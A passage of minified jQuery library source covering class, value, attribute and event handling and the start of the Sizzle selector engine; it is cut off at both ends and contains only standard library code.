c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h<g;h++)e=d[h],e&&(c=f.propFix[e]||e,f.attr(a,e,""),a.removeAttribute(v?e:c),u.test(e)&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};
-f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e&&!c.target.disabled&&(!c.button||c.type!=="click")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j<e;j++)r=d[j],s=r.selector,o[s]===b&&(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]&&q.push(r);q.length&&i.push({elem:l,matches:q})}}d.length>e&&i.push({elem:this,matches:d.slice(e)});for(j=0;j<i.length&&!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k<p.matches.length&&!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace&&!r.namespace||c.namespace_re&&c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b&&(c.result=n,n===!1&&(c.preventDefault(),c.stopPropagation()))}}return c.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0)}),d._submit_attached=!0)})},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on.call(this,a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.type+"."+e.namespace:e.type,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return 